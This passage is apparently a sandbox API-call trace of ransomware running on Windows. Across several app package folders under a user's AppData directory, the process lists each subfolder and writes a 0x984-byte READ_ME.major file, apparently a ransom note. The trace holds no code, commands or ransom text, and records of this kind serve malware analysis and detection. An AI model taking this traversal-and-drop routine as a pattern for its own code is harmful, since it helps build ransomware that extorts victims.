ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.861] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.862] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.863] CloseHandle (hObject=0x924) returned 1 [0189.863] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.863] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.864] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.865] CloseHandle (hObject=0x924) returned 1 [0189.865] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.865] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.865] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.867] CloseHandle (hObject=0x924) returned 1 [0189.867] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.867] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0189.868] WriteFile (in: hFile=0x924, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.869] CloseHandle (hObject=0x924) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x660930, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.870] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24070e02, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x661030 [0189.870] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24070e02, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.870] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.930] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.931] CloseHandle (hObject=0x928) returned 1 [0189.932] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.932] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.932] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.933] CloseHandle (hObject=0x928) returned 1 [0189.933] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.935] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.936] CloseHandle (hObject=0x928) returned 1 [0189.936] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.936] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.938] CloseHandle (hObject=0x928) returned 1 [0189.938] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24070e02, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24070e02, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24070e02, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.938] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.938] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.939] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.940] CloseHandle (hObject=0x928) returned 1 [0189.941] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.941] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.941] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.942] CloseHandle (hObject=0x928) returned 1 [0189.942] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.942] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.943] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.944] CloseHandle (hObject=0x928) returned 1 [0189.944] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.944] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkcaptiveportal_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x928 [0189.945] WriteFile (in: hFile=0x928, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.946] CloseHandle (hObject=0x928) returned 1 [0189.946] FindNextFileW (in: hFindFile=0x661030, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b12964, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.947] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660a30 [0189.947] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.947] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0189.988] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.989] CloseHandle (hObject=0x92c) returned 1 [0189.989] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.989] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0189.991] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.010] CloseHandle (hObject=0x92c) returned 1 [0190.011] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.011] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.012] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.013] CloseHandle (hObject=0x92c) returned 1 [0190.013] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.013] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0190.014] WriteFile (in: hFile=0x92c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.052] CloseHandle (hObject=0x92c) returned 1 [0190.052] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24097144, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x24097144, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x24097144, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.052] FindNextFileW (in: hFindFile=0x660a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, 